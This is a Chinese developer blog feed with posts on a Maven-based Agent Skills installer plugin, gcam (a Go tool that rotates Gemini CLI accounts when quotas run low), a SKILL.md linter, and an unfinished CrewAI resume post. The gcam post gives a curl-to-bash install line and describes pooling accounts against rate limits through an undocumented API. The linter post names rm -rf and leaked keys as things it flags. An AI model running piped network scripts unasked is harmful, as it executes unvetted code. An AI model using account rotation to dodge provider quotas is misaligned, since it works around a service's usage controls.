Agent Skills 是一类约定 —— 一个 SKILL.md 文件加上配套 references/、scripts/, 放进 AI Agent 约定的目录里 (~/.cursor/skills/, ~/.claude/skills/ 等), Agent 加载后就拿到了一份”使用说明”。这套约定本身没什么复杂的, 个人用户写一个 skill, 扔到 GitHub, 别人 git clone 再 cp 到自己的 agent 目录, 完全够用。

但放到 JVM 技术栈里 —— 我要给一个 starter / SDK 配 skill, 让所有引入这个 starter 的项目自动拿到, 让 skill 跟着 starter 的版本一起升降 —— 这套手工拷贝就完全不行了。

具体不行在哪? 几个非常直白的问题:

团队里五个人都用 zeka-stack-rest-servlet starter, 但每个人本地 skill 是从哪个 commit cp 过来的, 没人知道。
starter 升级到 v3.2 之后, AI 看到的 skill 还是 v3.0 的旧规则, 写出来的代码偏离最新约定。
业务项目同时依赖了多个带 skill 的 starter (REST / Logging / OpenAPI), 解包的时候到底要解谁的, 漏掉一个 AI 就不知道。
starter 的传递依赖也带 skill, 但用户根本看不到那层依赖。

SkillsJars 的解法是把 skill 纳入 JVM 生态最熟悉的分发体系: Maven 和 JAR。具体做的事情说起来非常简单 —— 在 starter 项目里维护 skills/<name>/SKILL.md, Maven 打包时, skillsjars-maven-plugin 会把它放进 JAR 的 META-INF/skills/<org>/<repo>/<skill>/ 下, 跟随 jar 一起进 Maven Central 或者私服。

使用方那一端, SkillsJars 同样提供了一个 Maven 命令做解包:

./mvnw com.skillsjars:maven-plugin:0.0.7:extract -Ddir=.cursor/skills

这条命令会扫描当前项目的 Maven 依赖图, 把所有依赖 jar 里 META-INF/skills/ 下的 skill 全部解到指定目录 (例如 .cursor/skills/)。版本一致性、传递依赖、团队同步 —— 都解决了, 因为它走的就是 Maven 那套已经被验证过 20 年的分发体系。

SkillsJars 把 “SDK 怎么分发” 这件事彻底解决了。但它没解决一件事: 开发者每天在 IDE 里要怎么用它。

SkillsJars Helper 想解决的问题, 就是这个”怎么用”

上面那条 Maven 命令, 看起来很简单, 但实际用起来很别扭:

命令本身记不住, 每次都要去翻 README 或者历史命令。
切换目标 agent 目录就得重打命令 —— 装到 Cursor 是 -Ddir=.cursor/skills, 装到 Claude 是 ~/.claude/skills, 装到 Qoder 又是另一个目录。
解之前看不见 jar 里有什么 skill。一个 starter 到底带了一份 skill 还是三份? 内容是什么? 跟我项目场景匹配不匹配? 全靠先解了再说。
解完之后, IDE 里再也找不到这些文件了 —— 它们躺在用户 home 目录, 跟当前项目失去了所有可见连接。
重复解包没有保护, 如果用户 (或者另一个工具) 已经修改过某份 skill, 一条 extract 命令下去就被静默覆盖。

这些事情没有任何一件是 SkillsJars 上游应该解决的 —— 它的职责是定义分发体系。这些是消费端 IDE 体验该解决的事。这就是 SkillsJars Helper 想做的。

具体它做了三件事。第一件是可视化: 在 IDEA 里加一个独立的 Tool Window, 启动后扫描当前项目所有 Maven 依赖, 把 jar 内带 META-INF/skills/ 的全部找出来, 用一棵树展示。树的层级是 Maven 坐标 → skill 名字 → 内容, 点开任何一个 skill, 右边面板直接渲染 SKILL.md 全文, frontmatter 也单独高亮。整个过程不解包, 因为读 jar 里的某一个文件这件事 IntelliJ Platform 早就做得很好了, 我只是把这个能力拿来用。

第二件是一键安装: 在树上任意一个 skill 上右键, 弹出菜单 —— Install to Claude / Cursor / Codex / Gemini / Junie / Trae / Qoder / CodeBuddy / Cline。选一个目标, skill 完整拷贝到对应 Agent 目录, 同时在目标目录里留一份 .skillsjars-helper.json manifest, 记录这份 skill 来自哪个 Maven 坐标、哪个版本、文件哈希是多少。Maven extract 命令该做的事情, 用 IDE 原生右键交互完成。

第三件, 也是我自己最满意的一件, 是状态识别。manifest 的存在让升级和冲突检测变得可能。每次启动插件时, SkillsJars Helper 会回扫这 9 个 Agent 目录, 对照 manifest 里的哈希和当前 Maven 依赖图里 jar 的版本, 把每份已安装 skill 划分到 6 种状态之一: 全新可装的、与最新版一致的、有更新可拉的、被本地改过的、不属于任何已知 Maven 坐标的孤儿、以及和别的 skill 撞名的。每种状态对应不同的交互: 已是最新版的连菜单都灰掉, 被本地改过的弹三选项 (覆盖 / 跳过 / 在编辑器里打开对比)。永远不静默覆盖用户改过的文件, 是这个插件的一条死规则。

一个完整的工作流

把所有东西串起来, 一个 Zeka Stack 用户的工作流大概是这样:

业务项目 pom.xml 里写一行 cubo-rest-servlet-spring-boot-starter 的依赖, Maven 自动把 starter jar 拉到本地。这一刻, starter 携带的 skill 已经躺在 jar 里了, 但 AI 还看不见。

打开 IDEA, View → Tool Windows → Agent Skills, Tool Window 弹出来, 树里出现刚刚那个 starter, 旁边带一个 NEW 徽标。点开看一眼 SKILL.md, 确认这正是我要的”REST Servlet 场景的工程规范”。右键 → Install to Cursor, 完成。

接下来这个项目里, Cursor 写 REST Controller 时, 会自动读取这份 skill, 知道这个项目用的是 Servlet 而非 Reactive, 知道要走统一异常模型而不是临时拼 JSON 错误结构, 知道哪些 Bean 可以覆盖、哪些不应该。AI 不再是泛泛地写 Spring Boot, 而是沿着 Zeka Stack 定义好的工程轨道前进。

starter 升级到下一个版本时, 业务项目 pom.xml 改一下版本号, Maven Reimport, 回到 Tool Window, 那份 skill 自动变成 OUTDATED 徽标, 右键 Update, 一气呵成。

这就是我想要的体验。CLI 命令本来可以做的事情, 没必要让开发者再去记忆和敲打 —— IDE 应该是这个体验的最终承载形态。

还没做和接下来要做的

发出去的是一期 + 二期: 扫描 / 预览 / 导出 / 状态识别这条主线已经齐了。后续还想推进几件事。

最近的一件是发布前的规范检查。如果你是 starter 作者, 在 push 一份新 SKILL.md 之前, 应该在 IDE 里就能预检 —— name 跟目录名对得上吗、必填字段全吗、allowed-tools 字段里的命令安全吗。这部分的能力我会和我另一个插件 Skill Inspector 联动, 两者职责分明: SkillsJars Helper 管”装包 / 解包 / 安装”这条 SDK 分发链路, Skill Inspector 管 “SKILL.md 内容本身”的质量。一个生产端预检, 一个消费端管理。

中远期的一件是Gradle 扫描器。当前只支持 Maven, 但越来越多的 JVM 项目走 Gradle, 这件事是迟早要做的。插件内部预留了 skillSourceScanner 扩展点, 实现起来更多是工作量问题, 思路是清楚的 —— 任何第三方插件也都可以自己实现这个扩展点, 比如把 SBT 或者 ivy 这种偏门生态接进来。

更远的一件是 AI 集成, 这部分目前还没动。我想做的事情大概有几条: 一是项目刚创建出来时, 让插件根据 pom.xml 里出现的依赖、项目语言、框架特征, 用 LLM 推荐几个匹配的 skill, 提示 “你这个项目可能需要这些”; 二是反过来, 如果项目里有多个 starter 都带了 skill, 而开发者只想要其中两个, 让 LLM 帮忙判断 skill 之间是否会有冲突或者重复; 三是甚至更前置的 —— 给一段需求描述, 让 LLM 告诉你应该用 Zeka Stack 里的哪个 starter, 然后顺手装好它的 skill。

听上去有点科幻, 但反过来想: 现在大家用 IDE 装 Maven 库, 谁还自己一个一个搜? 大部分时候是某个工具或者某个同事告诉你 “你这个场景应该用这个库”。AI 应该能扮演那个同事。

下载和源码

JetBrains Marketplace: https://plugins.jetbrains.com/plugin/31935-skillsjars-helper
开源仓库: https://github.com/dong4j/skillsjars-helper
官网 / 完整说明: https://skillsjars-helper.dong4j.site
上游 SkillsJars: https://www.skillsjars.com/
作者其他 JetBrains 插件 (vendor 页): https://plugins.jetbrains.com/vendor/9afaba35-91ea-4364-8ced-64db868dd23e

MIT 协议, 0 外部依赖, 不联网, 不收集数据。装上不喜欢直接卸载, 不会留任何痕迹 —— 唯一的痕迹是你已经 Install 到 agent 目录的那些 skill, 它们本来就属于你的 agent。

如何让 Gemini CLI 实现多账号无感切换

Wed, 27 May 2026 00:00:00 GMT

作为一个天天泡在终端里的开发者，我对 Gemini CLI 这类 AI 编程助手是有依赖的。但问题来了——我之前订阅的 Gemini 即将到期，偏偏因为学生认证的限制没法续订。于是我用另一个账号重新订阅了 Gemini Pro，这下手头就有了两个付费账号。两个账号放着不用太浪费，但在不同项目间手动切换实在折腾：关掉当前任务、切换认证凭据、重新跑命令，节奏一断思路也跟着断了。gcam（Gemini CLI Account Manager） 就是来解决这个问题的——它让你的多个账号组成一个池子，需要时自动切换，整个过程对使用者完全透明。项目落地页在 gcam.dong4j.site。

背景：为什么需要多账号管理

Gemini CLI 的付费订阅（Google AI Pro）每天大约有 1500 次请求配额，每分钟也有请求频率限制。对于日常开发来说这个量通常够用，但当你像我一样因为续订限制而持有两个付费账号时，手动管理就变成了一个麻烦事——更不用说在多个项目间频繁切换的场景了。

手动切换账号的流程本身并不复杂：改个配置、重新认证一下就好。但问题在于它把一个本该自动化的决策强加给了使用者。你得记着当前在用哪个账号、另一个账号还剩多少配额、要不要留到真正紧急的时候用。这些心智负担累积起来，其实比切换本身更费精力。

gcam 的思路很简单：让机器管理状态，让人专注创作。它不替代 Gemini CLI，而是作为一个智能中间层存在，在后台默默监控配额，预判是否需要切换，需要的时候自动完成切换。

整体架构

gcam 的设计哲学是零侵入。它不修改 Gemini CLI 本身的任何代码，而是通过 hook 机制挂载到 Gemini CLI 的生命周期中。以下是整体架构的示意图：

从图中可以看到，gcam 由三个核心模块组成：Auth 模块负责 OAuth 登录和账号管理，Config 模块维护账号池和切换策略，Quota 模块则承担配额检查和 hook 执行的职责。三个模块各司其职，通过配置文件进行协作。

外部交互方面，Auth 模块与 Google OAuth 服务通信完成身份认证，Quota 模块直接查询 Gemini API 获取实时配额数据。当用户执行 gemini 命令时，gcam 的 hook 机制会在请求发出前和收到响应后介入，根据预设策略决定是否需要切换账号。整个数据流向是：用户 → gcam CLI → Gemini CLI → Gemini API，gcam 在中间做了大量的状态维护和智能路由工作。

OAuth 登录流程

gcam 支持通过浏览器 OAuth 一键登录，这比手动粘贴 API Key 优雅得多。流程如下：

用户执行 gcam pool login 后，gcam 会在本地启动一个临时 HTTP 服务器，然后打开系统浏览器跳转到 Google 的 OAuth 授权页面。用户完成登录授权后，Google 会将浏览器重定向回本地服务器，带回一个授权码。本地服务器收到授权码后，立即与 Google 的 Token 端点交换得到 Access Token 和 Refresh Token，最后把这些凭证存入账号池。

整个流程走的是标准的 OAuth 2.0 授权码模式，支持 offline access，所以能拿到 Refresh Token。这意味着理论上一次授权可以长期使用，不需要反复登录。

技术选型：为什么是 Go

这个项目的上游 Gemini-CLI-Auth-Manager 是用 Python 写的，功能已经很完整了。那为什么我选择用 Go 重写？

最核心的理由是分发体验。Python 项目的用户在首次使用时往往需要面对一连串的环境配置问题：系统有没有安装 Python、版本对不对、要不要建虚拟环境、pip 装上了但依赖报错怎么办。这些问题对于一个只想「下载下来就用」的 CLI 工具来说，是完全可以避免的。Go 编译出来的是一个静态链接的二进制文件，macOS、Linux、Windows 各平台的都有，下载下来加个执行权限就能跑，没有任何运行时依赖。

其次是执行效率。gcam 的 hook 机制在每次 Gemini CLI 请求前后都会介入，如果 gcam 本身启动太慢或者执行开销太大，就会明显拖慢整个交互节奏。Go 的启动时间是毫秒级的，基本感觉不到它的存在，这对 CLI 工具来说是非常重要的体验。

最后是交叉编译的便利性。我用一条命令就能同时构建出三个平台的二进制文件，CI/CD 发布流程非常简洁。这不是 Python 不能做到，而是 Go 原生支持得更好。

当然，Go 也不是没有代价的。Go 的错误处理比较显式，没有 Python 那种轻便的异常机制，某些场景写起来会啰嗦一些。但对于一个相对小型的 CLI 工具来说，这个代价完全可以接受。

快速入门

安装 gcam 非常简单，推荐使用一键安装脚本：

# macOS / Linux
curl -sSL https://gcam.dong4j.site/install.sh | bash

也可以从 Release 页面下载对应平台的二进制文件，或者从源码构建：

git clone https://github.com/dong4j/gemini-cli-account-manager.git
cd gemini-cli-account-manager
go build -o gcam cmd/gcam/main.go

安装完成后，需要执行一次初始化，把 gcam 的 hook 机制注入到 Gemini CLI 的生命周期中：

gcam install

这个命令会在你的 Gemini 配置目录下安装必要的钩子脚本，并配置好环境变量。安装成功后，你的 gemini 命令行为不会改变——只是在背后多了 gcam 这层代理在默默工作。

接下来添加你的第一个账号：

gcam pool login

这条命令会打开浏览器引导你完成 Google 账号的 OAuth 授权。授权完成后，账号会自动进入你的账号池，并且 gcam 会自动切换到新账号作为当前账号。

添加多个账号后，可以用以下命令查看账号池状态：

gcam

输出大概是这个样子：

┌─ 账号池 ────────────────────────────────┐
│ #  │ 账号                    │ 状态    │
├───┼─────────────────────────┼─────────┤
│ 1  │ alice@gmail.com         │ 当前 ✓  │
│ 2  │ bob@gmail.com           │ 空闲    │
│ 3  │ carol@gmail.com         │ 空闲    │
└────────────────────────────────────────┘

遇到配额限制时，gcam 会自动切换到下一个空闲账号，整个过程不需要你手动干预。以下是一些常用的手动操作：

命令	说明
`gcam next`	切换到下一个可用账号
`gcam 2`	按编号切换到指定账号
`gcam alice@gmail.com`	按邮箱切换到指定账号
`gcam quota`	查看当前账号所有模型的配额使用情况
`gcam menu`	打开交互式管理菜单
`gcam uninstall`	移除 hook 和斜杠命令

安装 hook 后，在 Gemini CLI 内也可以直接使用 /gcam 斜杠命令来切换账号或查询配额，不需要退出当前会话。

高阶使用：让切换更智能

gcam 的配置文件位于 ~/.gemini/auth_config.json，里面有几个可以深度定制的参数。

轮换策略控制了 gcam 如何判断一个账号是否「额度不足」。默认策略是 gemini3.1-series-only，它只检查 Gemini 3.1 系列模型的配额，因为大多数重度使用场景都在用这个系列。如果你对配额比较敏感，conservative 策略会更合适——它会检查所有模型的配额，确保在任何模型上都有余量。

阈值参数决定了什么时候触发切换。默认是 10%，意味着当某个模型的剩余配额低于 10% 时就会切换。这个值可以根据你的使用强度调整：如果请求比较稀疏，可以设低一点省着用；如果请求密集，设高一点可以避免频繁触发限制。

最大重试次数决定了单次会话中自动切换的上限，默认是 3 次。超过这个次数后，gcam 会停止切换并报告配额耗尽，避免无限重试。

配置示例：

strategy: gemini3.1-series-only
threshold: 10
max_retries: 3

关键实现细节

理解几个核心实现，能更好地使用 gcam 的高级特性。

原子化账号切换。切换账号本质上是在修改一个配置文件——把当前使用的 OAuth 凭证从 A 账号换成 B 账号。直接写入文件在极端情况下可能造成数据损坏（比如写了一半程序崩溃了）。gcam 使用的是「写临时文件再 rename」的策略：先把新内容写到一个临时文件，确认写成功后，再原子性地 rename 覆盖原文件。操作系统对 rename 的保证是原子的——要么完全成功，要么完全不变。

配额查询的容错设计。查询配额依赖 Gemini Code Assist 的内部 API，这个 API 本身并不在官方文档中。gcam 会先调用 loadCodeAssist 接口获取当前项目 ID，再通过 retrieveUserQuota 查询配额。如果 Token 过期，会自动触发一次 gemini -p "/model list" 来刷新。整个过程对用户是不可见的，但保证了查询的准确性。

Hook 的生命周期。gcam 支持三个 hook 节点：pre-check 在请求发出前执行，用于预检配额；after-agent 在收到响应后执行，用于检测是否遇到了配额错误；auto-switch 负责执行真正的切换逻辑并返回重试指令。这种分离设计让每一步都可以独立配置和调试。

下面是一段配额检查的核心逻辑，展示了 gcam 如何判断是否需要切换账号：

// CheckQuota 根据配置策略判断当前账号是否需要切换
func CheckQuota(cfg *config.Config) ([]QuotaBucket, bool, string, error) {
    // 1. 加载当前 Token
    token, err := LoadToken()
    if err != nil {
        // Token 过期时尝试刷新
        if strings.Contains(err.Error(), "expired") || os.IsNotExist(err) {
            _ = RefreshToken()
            token, err = LoadToken()
        }
        if err != nil {
            return nil, false, "", err
        }
    }

    // 2. 获取项目 ID
    projectID, err := GetProjectID(token)
    if err != nil && strings.Contains(err.Error(), "unauthorized") {
        _ = RefreshToken()
        token, _ = LoadToken()
        projectID, err = GetProjectID(token)
    }
    if err != nil {
        return nil, false, "", err
    }

    // 3. 查询配额
    buckets, err := GetUserQuota(token, projectID)
    if err != nil {
        return nil, false, "", err
    }

    // 4. 根据策略筛选目标模型
    var targets []QuotaBucket
    for _, b := range buckets {
        match := matchStrategy(b.ModelID, cfg.AutoSwitch.Strategy,
            cfg.AutoSwitch.CustomModelPattern)
        if match {
            targets = append(targets, b)
        }
    }

    // 5. 判断是否所有目标模型配额都低于阈值
    threshold := cfg.AutoSwitch.Threshold / 100.0
    allLow := true
    var lowDetails []string
    for _, b := range targets {
        if b.RemainingFraction > threshold {
            allLow = false
            break
        }
        lowDetails = append(lowDetails,
            fmt.Sprintf("%s: %.1f%%", b.ModelID, b.RemainingFraction*100))
    }

    if allLow && len(targets) > 0 {
        return buckets, true, strings.Join(lowDetails, ", "), nil
    }
    return buckets, false, "Quota OK", nil
}

账号切换工作流程

gcam 检测到配额不足时，会触发自动切换流程。以下是完整的时序图：

sequenceDiagram
    participant User as 用户
    participant CLI as Gemini CLI
    participant Hook as gcam Hook
    participant Quota as Quota 模块
    participant Auth as Auth 模块
    participant API as Gemini API

    User->>CLI: 执行 AI 请求
    CLI->>Hook: 调用 pre-check hook
    Hook->>Quota: 检查当前账号配额

    alt 配额充足
        Quota-->>Hook: Quota OK
        Hook-->>CLI: 继续执行
        CLI->>API: 发起请求
        API-->>CLI: 返回结果
        CLI-->>User: 展示结果
    end

    alt 配额不足
        Quota-->>Hook: Quota Low / Error
        Hook->>Auth: 请求切换账号
        Auth->>Auth: 查找下一个可用账号
        Auth->>Auth: 原子化切换凭据
        Hook-->>CLI: retry 指令
        CLI->>CLI: 重新执行请求
        CLI->>API: 使用新账号发起请求
        API-->>CLI: 返回结果
        CLI-->>User: 展示结果
    end

gcam 的核心工作流也可以用以下时序图表示，展示了从请求发起到配额检查再到自动切换的完整链路：

sequenceDiagram
    participant User as 用户
    participant CLI as Gemini CLI
    participant Hook as gcam Hook
    participant API as Gemini API

    User->>CLI: 执行 gemini 请求

    alt 自动切换关闭
        CLI->>CLI: 直接执行请求
    else 自动切换开启
        CLI->>Hook: 触发 Pre-Check Hook
        Hook->>Hook: 加载当前账号 Token

        alt Token 过期
            Hook->>Hook: 刷新 Token
        end

        Hook->>API: 查询 Project ID
        API-->>Hook: 返回 Project ID
        Hook->>API: 查询当前账号配额
        API-->>Hook: 返回配额信息

        alt 配额充足
            Hook-->>CLI: 继续执行
        else 配额不足
            Hook->>Hook: 查找下一个可用账号

            alt 未找到可用账号
                Hook-->>CLI: 告警：所有账号耗尽
                CLI-->>User: 显示配额耗尽提示
            else 找到可用账号
                Hook->>Hook: 原子化切换凭据
                Hook->>Hook: 清除 Token 缓存
                Hook-->>CLI: 返回 retry 指令
                CLI->>CLI: 使用新账号重试请求
            end
        end
    end

    CLI->>API: 调用 Gemini 原生能力
    API-->>CLI: 返回结果
    CLI-->>User: 展示结果

当 gcam 检测到配额不足时，会从当前账号平滑过渡到下一个可用账号。如果所有账号都耗尽了，会输出警告信息而不是静默失败。这种 fail-fast 的设计确保你始终知道系统的真实状态。

智能切换策略

gcam 支持多种切换策略，适应不同的使用场景：

策略	说明	适用场景
`conservative`	检查所有模型配额	全面保守
`gemini3-first`	优先使用 Gemini 3 系列	追求最新模型
`gemini3.1-series-only`	只使用 3.1 系列	平衡性价比
`custom`	自定义模型匹配	精准控制

错误检测模式

gcam 会捕获以下配额相关错误模式：

var QuotaErrorPatterns = []string{
    `429`,                      // Too Many Requests
    `403.*quota`,               // Quota Forbidden
    `Resource exhausted`,        // 资源耗尽
    `Quota exceeded`,           // 超出配额
    `rate limit`,               // 速率限制
    `RESOURCE_EXHAUSTED`,       // Google API 错误码
    `Usage limit reached`,      // 使用限制
    `limit reached for all.*models`,  // 所有模型限制
    `Access resets at`,         // 访问重置时间
    `PERMISSION_DENIED.*VALIDATION_REQUIRED`,  // 账户验证
    `Please verify your account` // 账户需验证
}

写在最后

这个项目的起点是上游的 Gemini-CLI-Auth-Manager，它证明了多账号切换这个需求是真实存在的，而且用 Python 可以实现出一个可用的原型。我在它的基础上用 Go 重写，主要是希望把「可用」变成「好用」——更快的启动速度、更简单的分发、更好的跨平台体验。

如果你也在用 Gemini CLI 且被配额问题困扰，欢迎试试 gcam。项目的 GitHub 地址在下方，欢迎 Star、Issue 和 PR。

项目地址: github.com/dong4j/gemini-cli-account-manager 落地页: gcam.dong4j.site

感谢上游项目 Gemini-CLI-Auth-Manager 提供的思路和灵感。

打造 Skill Inspector：一款 AI Agent Skill 的 IDE Linter 插件

Tue, 26 May 2026 00:00:00 GMT

翻车现场

我自己写过的 Agent Skill, 现在回头数, 大概在十几份的量级。这十几份里面, 至少有一半在写下来的当下就是错的。

举几个典型:

name 字段写得很随意, 跟父目录名对不上 —— Agent 加载的时候按目录名走, 但匹配按 name 走, 我调了快一小时才发现 skill 根本没被识别。description 写成 “helper” 或者 “tool” 就交差了, 等到真的去用, Agent 完全不知道该在什么场景触发它, 因为没有任何触发短语 (“use when”, “when to use” 之类), AI 看了等于没看。一段 rm -rf 当时只是放在正文里当示意, 完全没想到 Agent 会把它当成可以执行的步骤直接跑。一段 references/api-design.md 的 link 引用我写完之后忘了真的把文件建出来。还有一个最尴尬的, 我把 api_key="sk-..." 直接硬编码到 skill 里某个示例脚本, 然后 push 到了开源仓库。

每一条都是低级错误, 每一条都是”如果有人在 IDE 里提醒我一句, 我根本不会犯”的错误。

Agent Skills 有官方规范, 写在 https://agentskills.io/specification, 一份并不算长的文档, 把字段语义、命名规则、引用规则、安全要求都说得清楚。但人就是不读 spec —— 包括我自己也不读。这件事不是态度问题, 是工具的问题。25 年前 PMD / Checkstyle 给 Java 设了规矩, 15 年前 ESLint 给 JavaScript 设了规矩, 5 年前 SonarLint 把这一切搬进了 IDE 里实时跑。今天 SKILL.md 的处境跟当年 JavaScript 一样, 缺一个长在 IDE 里、规则白盒、可引用、可 suppress 的 Linter。

Skill Inspector 就是这个 Linter。

拒绝”AI 觉得你这里不太好”

写这个插件的时候, 我给自己定了几条不能动的原则。其中最坚定的一条是: 每条规则都要有一个稳定的 ID, 可以 suppress, 可以引用。

听起来像废话, 但你看看现在市面上越来越多的 AI 工具, 给你的提示都是模糊的: “这里有改进空间”, “建议优化”, “Linter says no”。你不知道它依据什么规则, 不知道如何关掉, 不知道下次同样的写法它还会不会再报。这种黑盒提示, 短期看着挺智能, 长期是工程毒药。

Skill Inspector 走的是 ESLint / SonarLint 这条路。当前内置 30+ 条规则, 跨 5 个分类 —— Structural (frontmatter 缺失 / name 对不上目录 / 不是 kebab-case)、Quality (description 太泛、缺触发短语)、Reference (link 文件不存在、跨平台大小写不一致)、Resource (references/ 目录里的 dead asset)、Security (rm -rf /、疑似 secret 泄漏)。

每条规则都有一个稳定 ID, 长这样: frontmatter.name.mismatch / description.too-generic / security.secret-pattern / reference.case-mismatch。你可以在 PR review 里写 “这里违反了 description.too-generic, 改一下”, 双方对的就是同一份规则手册; 你可以在 SKILL.md 里写一句 suppress 注释关掉某一条规则; 你也可以在 issue 里报告 “我觉得 xxx 这条规则的误报率太高了, 应该收敛”, 大家围绕同一个 ID 讨论。

另一条原则是: 大部分规则要带 Quick Fix。光告诉你”这里错了”价值不大, 告诉你”按 Alt+Enter 我帮你改了”价值才大。当前 30+ 条规则里, 像 name 不匹配目录、name 不是 kebab-case、缺 frontmatter、reference 文件不存在这些场景, 都直接带 Quick Fix —— Alt+Enter 选一下, 改完。

最后一条是: 0 外部依赖。全部走 IntelliJ Platform 原生 API, 不联网, 不收集数据, 不调任何第三方。这意味着插件在内网、离线环境、外发笔记本上的行为跟联网时完全一致。

怎么用

跟所有 IDE Inspection 插件一样, 装上之后基本不用学新东西。打开任意 SKILL.md 文件, 字段有问题的地方出现黄 / 红波浪线, 悬停看到规则 ID 和说明, Alt+Enter 调 Quick Fix。状态栏右下角显示当前文件还剩多少未修问题, Problems 面板汇总全项目所有 SKILL.md 的问题, Tools → Inspect Skill Files 一键全项目扫描。

我自己拿之前那些写得相当随意的旧 skill 测过 —— 一份, 半小时左右就能改干净。改完之后, description 不再是 “helper” 这种废话, Agent 触发命中率立刻上来; reference 链接都通了, AI 跟着 link 找资料不会扑空; 危险命令和 secret 全部清掉, 安心 push 到开源仓库。

不夸张的说, 30+ 条规则里只要命中你写过的任何一条, 这个插件就值回票价了 (反正它就免费)。

不止 30 条规则: 把它做成一个平台

写到 V2 / V3 我意识到一件事: 30+ 条规则永远不够。

我能想到的通用规则就这么些 —— 字段缺失、命名规范、危险命令、secret 模式 —— 但每个团队、每个开源项目、每家公司, 都还有自己额外的、特定语境下才成立的规则。举几个例子, 都是真实场景:

在 Zeka Stack 里, 每份 SKILL.md 的 frontmatter 都应该有 starter 字段, 明确这份 skill 配套哪个 Spring Boot Starter。这是 Zeka Stack 的约定, 不应该写死在 Skill Inspector 里。
同样在 Zeka Stack 里, REST 组件下有 Servlet 和 Reactive 两个 starter, 它们的 skill description 必须显式区分两种场景, 不能含糊。这也是项目特定规则。
公司内部团队, 可能有合规要求: SKILL.md 不能引用任何外部域名的链接 (避免 dead link 风险), 必须全部走公司内网镜像。
某个开源生态 (例如某个 Agent 厂商), 可能要求 skill name 必须以特定前缀开头。

这些规则不应该塞进 Skill Inspector 的核心包 —— 装这个插件的 99% 用户不在乎 Zeka Stack 是什么, 也不在乎某家公司的合规要求。但那 1% 在乎的用户, 应该有办法把自己的规则加进来。

所以我下一步的重点不是再多写 30 条内置规则, 而是把规则引擎本身开放成扩展点。具体的设想是: 在 plugin.xml 里暴露一个 skillRule 扩展点, 第三方 IDE 插件 (比如 zeka-stack 自己的 idea plugin, 或者公司内部的研发工具集合插件) 注册一个自己的 SkillRuleProvider, 实现里返回一组自定义规则 —— 每条规则跟内置规则用同一个 SkillRule 接口, 同样有稳定 ID、严重级别、可选 Quick Fix。

这套设计完全照搬 IntelliJ Platform 自己的扩展点哲学。IDEA 自己的 Inspection 体系就是这么开放的 —— 平台提供 LocalInspectionTool 这个基础类, Java 插件加 Java 检查, Kotlin 插件加 Kotlin 检查, Sonar 插件加自己的检查, 大家共用同一份 Problems 面板和 Quick Fix 体验。Skill Inspector 应该走同一条路: 核心包提供一套通用规则 + 一个稳定的 Rule SPI, 各家生态在上面加自己的检查规则。

我设想中的接入体验大概是这样: zeka-stack 团队在他们自己的 IntelliJ 插件项目里, 写一个 ZekaStackSkillRuleProvider 类, 注册到 Skill Inspector 的扩展点, 实现里返回几条 zeka-stack 特定的规则。用户同时装上 Skill Inspector 和 Zeka Stack IDEA 插件后, 在任何一份 SKILL.md 里都会自动跑这些扩展规则, 体验上跟内置规则毫无差别。如果只装了 Skill Inspector, 就只跑内置那 30+ 条。

这套扩展接口让 Skill Inspector 从一个规则集升级成一个规则引擎。我自己后续会在 Zeka Stack 的 IDEA 插件里第一个吃自己的狗粮, 把 zeka-stack 特有的几条规则做出来, 顺便把接口磨光。如果接口稳了, 后面想为别家生态加规则的人也能照搬。

一个还在路上的 AI 集成

确定性规则的天花板在哪? 当前这 30+ 条都是白盒、可推导的 —— 字段对不对、命名合不合法、link 通不通、有没有疑似 secret —— 这些都能用文本匹配或简单 PSI 分析判断。

但很多关于 SKILL.md 的判断, 本质是 fuzzy 的, 确定性规则写不出来:

这条 description 真的能让 Agent 在正确场景被触发吗?
这段正文写得清楚吗? Agent 读完真的能照做吗?
这个 skill 跟项目里已经存在的另一个 skill 是不是功能重复了?
给定一段需求, 应不应该新写一个 skill, 还是复用现有的?

这些问题, 确定性 lint 答不了, 但 LLM 可以。我打算后续在 Skill Inspector 里加一个 “AI Review” 模式 —— 跟现有规则平行的另一类 inspection, 走 LLM 给 fuzzy 建议, 但同样以 Problems 面板里条目的形式呈现, 保留可解释、可 suppress 的体验。不替代当前的确定性规则, 而是补全它。底层会接 IntelliAI Engine, 跟我其他几个 AI 插件共用同一个多服务商接入层, 不绑定某家。

这部分还没动手, 因为我想先把扩展接口磨稳 —— 内置规则白盒、扩展规则白盒、AI 规则同样可解释, 三者用一致的体验呈现给用户, 这个事情想清楚再写代码。

下载和源码

JetBrains Marketplace: https://plugins.jetbrains.com/plugin/31938
开源仓库: https://github.com/dong4j/skill-inspector
官网 / 完整规则手册: https://skill-inspector.dong4j.site
Agent Skills 官方规范: https://agentskills.io/specification
作者其他 JetBrains 插件 (vendor 页): https://plugins.jetbrains.com/vendor/9afaba35-91ea-4364-8ced-64db868dd23e

Java 21, 兼容 IntelliJ IDEA 2024.2 → 2025.x, MIT 协议。

如果你正在写 Agent Skill, 哪怕只写过一两个, 装上跑一遍试试。

我是怎么做简历助手的：一个关于「AI 工作流」的思考

Mon, 25 May 2026 00:00:00 GMT

背景

前提：个人 Wiki 知识库

但这里有个前提：如果想让 AI 生成有质量的定制简历，AI 必须「了解你」。如果只是让 LLM 从零开始编，它要么瞎编，要么写出来的东西跟市面上千篇一律的简历没什么区别。

我的做法是：对过往项目进行深度复盘，用 Karpathy 提出的 LLM 知识库思路，将个人工作经历全部拆解、沉淀。使用 Obsidian 构建 Wiki，每个项目都有对应的复盘笔记：背景是什么、做了什么、用了什么技术、取得了什么成果、遇到了什么困难、如何解决的。

这些笔记就是 Agent 的「弹药库」。当需要面向某个 JD 生成简历时，Agent 从中选取最匹配的经历，重组、压缩、强调，而不是编造。有了这个素材基础，后续的简历定制才有可能做到「真实、可追问」。

设计思路

最初的想法很简单：让一个 LLM 直接生成简历。但试过就知道这条路走不通——LLM 不知道你做过什么，生成的简历要么太通用，要么在瞎编；而且写完简历之后，面试准备还得自己来。

后来我想明白了：不是 LLM 不够聪明，而是单个 Agent 的能力边界太窄。它什么都能做，但什么都做不精。所以与其让一个 Agent 什么都做，不如让多个 Agent 分工——每个 Agent 专注自己的领域，通过有序的工作流串联起来。这就引出了 CrewAI 的核心思想：Multi-Agent System。

这基本上就是 CrewAI 的核心思想：Multi-Agent System（多智能体系统）。

CrewAI 是什么

CrewAI 是一个用于构建多 Agent 协作的框架。它的几个核心概念：

Agent（智能体）：有角色（role）、目标（goal）和背景故事（backstory）的 AI 执行单元。每个 Agent 知道自己是谁、该做什么。
Task（任务）：具体要完成的工作，有描述和期望输出。
Crew（团队）：一组 Agent + 他们的 Task + 执行流程（Process）。
Process（流程）：目前支持 sequential（顺序）和 hierarchical（层级）。

